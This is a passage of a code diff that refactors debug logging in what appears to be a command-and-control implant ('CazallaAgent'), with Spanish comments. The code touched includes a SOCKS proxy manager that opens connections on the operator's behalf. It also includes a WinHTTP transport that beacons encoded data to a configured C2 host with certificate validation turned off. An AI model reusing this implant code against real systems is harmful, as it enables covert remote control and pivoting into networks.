printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id);
|
_dbg("Creando thread lector para sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
|
CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL);
|
||||||
#else
|
#else
|
||||||
pthread_t tid;
|
pthread_t tid;
|
||||||
@@ -445,26 +411,22 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
|||||||
pthread_create(&tid, NULL, remote_reader_thread, ra);
|
pthread_create(&tid, NULL, remote_reader_thread, ra);
|
||||||
pthread_detach(tid);
|
pthread_detach(tid);
|
||||||
#endif
|
#endif
|
||||||
printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id);
|
_dbg("connect_and_spawn_reader completado OK para sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* === Procesamiento principal === */
|
/* === Procesamiento principal === */
|
||||||
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
|
int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) {
|
||||||
printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
_dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||||
fflush(stdout);
|
_dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||||
DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
|
||||||
if (server_id == 0) {
|
if (server_id == 0) {
|
||||||
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
_err("ERROR: invalid server_id=%u", server_id);
|
||||||
fflush(stdout);
|
_dbg("invalid server_id=%u", server_id);
|
||||||
DBG_PRINTF("invalid server_id=%u", server_id);
|
|
||||||
return -4;
|
return -4;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (exit_flag) {
|
if (exit_flag) {
|
||||||
printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id);
|
_dbg("Exit flag set, removiendo entry sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
remove_entry(server_id);
|
remove_entry(server_id);
|
||||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||||
enqueue_outgoing(&m);
|
enqueue_outgoing(&m);
|
||||||
@@ -475,20 +437,17 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
|
|||||||
if (!e) {
|
if (!e) {
|
||||||
char dest[256]; uint16_t dport=0;
|
char dest[256]; uint16_t dport=0;
|
||||||
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
|
int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport);
|
||||||
printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport);
|
_dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||||
fflush(stdout);
|
_dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
||||||
DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport);
|
|
||||||
if (r != 0) return -1;
|
if (r != 0) return -1;
|
||||||
|
|
||||||
socks_bound_addr_t bound;
|
socks_bound_addr_t bound;
|
||||||
memset(&bound, 0, sizeof(bound));
|
memset(&bound, 0, sizeof(bound));
|
||||||
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
|
int rc = connect_and_spawn_reader(dest, dport, server_id, &bound);
|
||||||
printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc);
|
_dbg("connect_and_spawn_reader rc=%d", rc);
|
||||||
fflush(stdout);
|
_dbg("connect_and_spawn_reader rc=%d", rc);
|
||||||
DBG_PRINTF("connect_and_spawn_reader rc=%d", rc);
|
|
||||||
if (rc != 0) {
|
if (rc != 0) {
|
||||||
printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc);
|
_err("ERROR: connect_and_spawn_reader falló con rc=%d", rc);
|
||||||
fflush(stdout);
|
|
||||||
return -2;
|
return -2;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -503,30 +462,24 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
|
|||||||
/* Copiar puerto (2 bytes en network byte order) */
|
/* Copiar puerto (2 bytes en network byte order) */
|
||||||
memcpy(&reply[8], &bound.port, 2);
|
memcpy(&reply[8], &bound.port, 2);
|
||||||
|
|
||||||
printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n",
|
_dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u",
|
||||||
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
|
server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port));
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
|
socks_msg_t m = {server_id, 0, reply, sizeof(reply)};
|
||||||
enqueue_outgoing(&m);
|
enqueue_outgoing(&m);
|
||||||
printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id);
|
_dbg("Respuesta SOCKS encolada para sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
return 0;
|
return 0;
|
||||||
} else {
|
} else {
|
||||||
printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len);
|
_dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len);
|
||||||
fflush(stdout);
|
|
||||||
if (e->sock != INVALID_SOCKET) {
|
if (e->sock != INVALID_SOCKET) {
|
||||||
size_t total = 0;
|
size_t total = 0;
|
||||||
while (total < data_len) {
|
while (total < data_len) {
|
||||||
printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len);
|
_dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len);
|
||||||
fflush(stdout);
|
|
||||||
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
|
int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0);
|
||||||
printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w);
|
_dbg("sid=%u send() retornó w=%d", server_id, w);
|
||||||
fflush(stdout);
|
|
||||||
if (w <= 0) {
|
if (w <= 0) {
|
||||||
printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id);
|
_err("send() falló para sid=%u, cerrando conexión", server_id);
|
||||||
fflush(stdout);
|
_dbg("send error sid=%u w=%d", server_id, w);
|
||||||
DBG_PRINTF("send error sid=%u w=%d", server_id, w);
|
|
||||||
remove_entry(server_id);
|
remove_entry(server_id);
|
||||||
socks_msg_t m = {server_id, 1, NULL, 0};
|
socks_msg_t m = {server_id, 1, NULL, 0};
|
||||||
enqueue_outgoing(&m);
|
enqueue_outgoing(&m);
|
||||||
@@ -534,13 +487,11 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
|
|||||||
}
|
}
|
||||||
total += w;
|
total += w;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len);
|
_dbg("sid=%u enviados %zu bytes OK", server_id, data_len);
|
||||||
fflush(stdout);
|
_dbg("sent %zu bytes sid=%u", data_len, server_id);
|
||||||
DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id);
|
|
||||||
return 0;
|
return 0;
|
||||||
} else {
|
} else {
|
||||||
printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id);
|
_err("socket inválido para sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
return -2;
|
return -2;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -549,13 +500,13 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi
|
|||||||
/* === Stubs start/stop === */
|
/* === Stubs start/stop === */
|
||||||
int socks_manager_start_proxy(uint16_t local_port) {
|
int socks_manager_start_proxy(uint16_t local_port) {
|
||||||
socks_proxy_active = 1;
|
socks_proxy_active = 1;
|
||||||
DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port);
|
_dbg("socks_manager_start_proxy port=%u (active)", local_port);
|
||||||
(void)local_port;
|
(void)local_port;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int socks_manager_stop_proxy(void) {
|
int socks_manager_stop_proxy(void) {
|
||||||
DBG_PRINTF("socks_manager_stop_proxy()");
|
_dbg("socks_manager_stop_proxy()");
|
||||||
socks_proxy_active = 0;
|
socks_proxy_active = 0;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
EnterCriticalSection(&conn_lock);
|
EnterCriticalSection(&conn_lock);
|
||||||
|
|||||||
@@ -8,11 +8,6 @@
|
|||||||
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
|
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* =======================================================
|
/* =======================================================
|
||||||
Obtener código de estado HTTP
|
Obtener código de estado HTTP
|
||||||
@@ -39,8 +34,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) {
|
|||||||
Petición HTTP (envío + recepción)
|
Petición HTTP (envío + recepción)
|
||||||
======================================================= */
|
======================================================= */
|
||||||
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
||||||
printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen);
|
_dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
|
||||||
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
|
||||||
@@ -65,28 +59,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
httpFlags |= WINHTTP_FLAG_SECURE;
|
httpFlags |= WINHTTP_FLAG_SECURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[TRANSPORTE] WinHttpOpen()\n");
|
_dbg("WinHttpOpen()");
|
||||||
fflush(stdout);
|
|
||||||
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
|
||||||
if (!hSesion) {
|
if (!hSesion) {
|
||||||
printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError());
|
_err("WinHttpOpen falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] WinHttpOpen OK\n");
|
_dbg("WinHttpOpen OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp);
|
_dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp);
|
||||||
fflush(stdout);
|
|
||||||
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
|
||||||
if (!hConexion) {
|
if (!hConexion) {
|
||||||
printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError());
|
_err("WinHttpConnect falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] WinHttpConnect OK\n");
|
_dbg("WinHttpConnect OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Log complete URL - ensure endpoint starts with /
|
// Log complete URL - ensure endpoint starts with /
|
||||||
wchar_t endpointBuf[256];
|
wchar_t endpointBuf[256];
|
||||||
@@ -101,36 +89,29 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
cazallaConfig->hostName,
|
cazallaConfig->hostName,
|
||||||
cazallaConfig->puertoHttp,
|
cazallaConfig->puertoHttp,
|
||||||
endpointBuf);
|
endpointBuf);
|
||||||
printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer);
|
_dbg("Complete URL: %ls", urlBuffer);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n",
|
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
|
||||||
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
|
endpointBuf, cazallaConfig->metodoHttp, httpFlags);
|
||||||
fflush(stdout);
|
|
||||||
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
|
||||||
if (!hPeticion) {
|
if (!hPeticion) {
|
||||||
printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError());
|
_err("WinHttpOpenRequest falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] WinHttpOpenRequest OK\n");
|
_dbg("WinHttpOpenRequest OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (cazallaConfig->SSL) {
|
if (cazallaConfig->SSL) {
|
||||||
printf("[TRANSPORTE] Configurando opciones SSL\n");
|
_dbg("Configurando opciones SSL");
|
||||||
fflush(stdout);
|
|
||||||
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||||
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
|
if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
|
||||||
printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError());
|
_wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
} else {
|
} else {
|
||||||
printf("[TRANSPORTE] SSL flags configurados OK\n");
|
_dbg("SSL flags configurados OK");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// También configurar para deshabilitar revocación de certificados
|
// También configurar para deshabilitar revocación de certificados
|
||||||
@@ -147,8 +128,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen);
|
_dbg("Enviando %u bytes de datos codificados", bufferLen);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Log first 100 bytes of data being sent (base64 preview)
|
// Log first 100 bytes of data being sent (base64 preview)
|
||||||
if (bufferLen > 0 && bufferIn) {
|
if (bufferLen > 0 && bufferIn) {
|
||||||
@@ -156,40 +136,33 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
|
size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
|
||||||
memcpy(preview, bufferIn, previewLen);
|
memcpy(preview, bufferIn, previewLen);
|
||||||
preview[previewLen] = '\0';
|
preview[previewLen] = '\0';
|
||||||
printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview);
|
_dbg("Data preview (first %zu bytes): %s", previewLen, preview);
|
||||||
if (bufferLen > 100) {
|
if (bufferLen > 100) {
|
||||||
printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen);
|
_dbg("... (total %u bytes, showing first 100)", bufferLen);
|
||||||
}
|
}
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
|
||||||
printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError());
|
_err("WinHttpSendRequest falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hPeticion);
|
WinHttpCloseHandle(hPeticion);
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] WinHttpSendRequest OK\n");
|
_dbg("WinHttpSendRequest OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
printf("[TRANSPORTE] Esperando respuesta...\n");
|
_dbg("Esperando respuesta...");
|
||||||
fflush(stdout);
|
|
||||||
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
|
||||||
printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError());
|
_err("WinHttpReceiveResponse falló (%lu)", GetLastError());
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hPeticion);
|
WinHttpCloseHandle(hPeticion);
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] WinHttpReceiveResponse OK\n");
|
_dbg("WinHttpReceiveResponse OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
|
||||||
printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado);
|
_dbg("HTTP status = %lu", codigoDeEstado);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Try to get response headers for debugging
|
// Try to get response headers for debugging
|
||||||
if (codigoDeEstado != 200) {
|
if (codigoDeEstado != 200) {
|
||||||
@@ -197,26 +170,23 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
|
DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
|
||||||
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF,
|
||||||
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
|
WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
|
||||||
printf("[TRANSPORTE] Response headers:\n");
|
_dbg("Response headers:");
|
||||||
printf("[TRANSPORTE] %ls\n", headers);
|
_dbg("%ls", headers);
|
||||||
} else {
|
} else {
|
||||||
printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError());
|
_wrn("Could not retrieve response headers (error: %lu)", GetLastError());
|
||||||
}
|
}
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (codigoDeEstado != 200) {
|
if (codigoDeEstado != 200) {
|
||||||
printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado);
|
_err("HTTP status no OK --> %lu", codigoDeEstado);
|
||||||
printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer);
|
_err("Request URL was: %ls", urlBuffer);
|
||||||
printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen);
|
_err("Request size was: %u bytes", bufferLen);
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hPeticion);
|
WinHttpCloseHandle(hPeticion);
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
printf("[TRANSPORTE] HTTP status OK (200)\n");
|
_dbg("HTTP status OK (200)");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
do {
|
do {
|
||||||
dwTamano = 1024;
|
dwTamano = 1024;
|
||||||
@@ -236,13 +206,11 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
: LocalAlloc(LPTR, respSize);
|
: LocalAlloc(LPTR, respSize);
|
||||||
|
|
||||||
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
|
||||||
printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize);
|
_dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
|
||||||
fflush(stdout);
|
|
||||||
memset(buffer, 0, sizeof(buffer));
|
memset(buffer, 0, sizeof(buffer));
|
||||||
} while (dwTamano > 0);
|
} while (dwTamano > 0);
|
||||||
|
|
||||||
printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize);
|
_dbg("Respuesta total %lu bytes", respSize);
|
||||||
fflush(stdout);
|
|
||||||
WinHttpCloseHandle(hPeticion);
|
WinHttpCloseHandle(hPeticion);
|
||||||
WinHttpCloseHandle(hConexion);
|
WinHttpCloseHandle(hConexion);
|
||||||
WinHttpCloseHandle(hSesion);
|
WinHttpCloseHandle(hSesion);
|
||||||
@@ -253,8 +221,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
|
/* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
|
||||||
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
|
/* Aquí solo devolvemos el analizador con los datos base64-encoded */
|
||||||
|
|
||||||
printf("[TRANSPORTE] realizarPeticionHTTP() completado\n");
|
_dbg("realizarPeticionHTTP() completado");
|
||||||
fflush(stdout);
|
|
||||||
return analizador;
|
return analizador;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -263,8 +230,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
|
|||||||
======================================================= */
|
======================================================= */
|
||||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||||
#ifdef HTTP_TRANSPORT
|
#ifdef HTTP_TRANSPORT
|
||||||
printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano);
|
_dbg("mandarYRecibir() len=%zu", tamano);
|
||||||
fflush(stdout);
|
|
||||||
return realizarPeticionHTTP(datos, (UINT32)tamano);
|
return realizarPeticionHTTP(datos, (UINT32)tamano);
|
||||||
#else
|
#else
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|||||||
@@ -1,10 +1,5 @@
|
|||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
@@ -153,20 +148,20 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len) {
|
|||||||
|
|
||||||
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
|
unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need);
|
||||||
if (!buf) {
|
if (!buf) {
|
||||||
DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need);
|
_err("base64_decode: LocalAlloc failed for %zu bytes", need);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int ok = b64Decodificado(b64, buf, need);
|
int ok = b64Decodificado(b64, buf, need);
|
||||||
if (!ok) {
|
if (!ok) {
|
||||||
LocalFree(buf);
|
LocalFree(buf);
|
||||||
DBG_PRINTF("base64_decode: b64Decodificado failed");
|
_err("base64_decode: b64Decodificado failed");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
*out = buf;
|
*out = buf;
|
||||||
*out_len = (size_t)need;
|
*out_len = (size_t)need;
|
||||||
DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len);
|
_dbg("base64_decode: decoded %zu bytes", *out_len);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -181,12 +176,12 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
|
|||||||
|
|
||||||
char *s = b64Codificado(data, (SIZE_T)dlen);
|
char *s = b64Codificado(data, (SIZE_T)dlen);
|
||||||
if (!s) {
|
if (!s) {
|
||||||
DBG_PRINTF("base64_encode: b64Codificado failed");
|
_err("base64_encode: b64Codificado failed");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* b64Codificado already uses LocalAlloc in original impl */
|
/* b64Codificado already uses LocalAlloc in original impl */
|
||||||
*out_b64 = s;
|
*out_b64 = s;
|
||||||
DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,9 @@
|
|||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include "debug.h"
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include "debug.h"
|
||||||
|
|
||||||
#ifdef __MINGW64__
|
#ifdef __MINGW64__
|
||||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||||
|
|||||||
@@ -30,10 +30,18 @@ class CazallaAgent(PayloadType):
|
|||||||
default_value="exe"
|
default_value="exe"
|
||||||
),
|
),
|
||||||
BuildParameter(
|
BuildParameter(
|
||||||
name="debug",
|
name="debug_level",
|
||||||
parameter_type=BuildParameterType.Boolean,
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)",
|
description="Debug verbosity level",
|
||||||
default_value=False
|
choices=["none", "errors", "warnings", "info", "all"],
|
||||||
|
default_value="none"
|
||||||
|
),
|
||||||
|
BuildParameter(
|
||||||
|
name="debug_output",
|
||||||
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
|
description="Debug output destination (only used if debug_level is not 'none')",
|
||||||
|
choices=["console", "file"],
|
||||||
|
default_value="console"
|
||||||
),
|
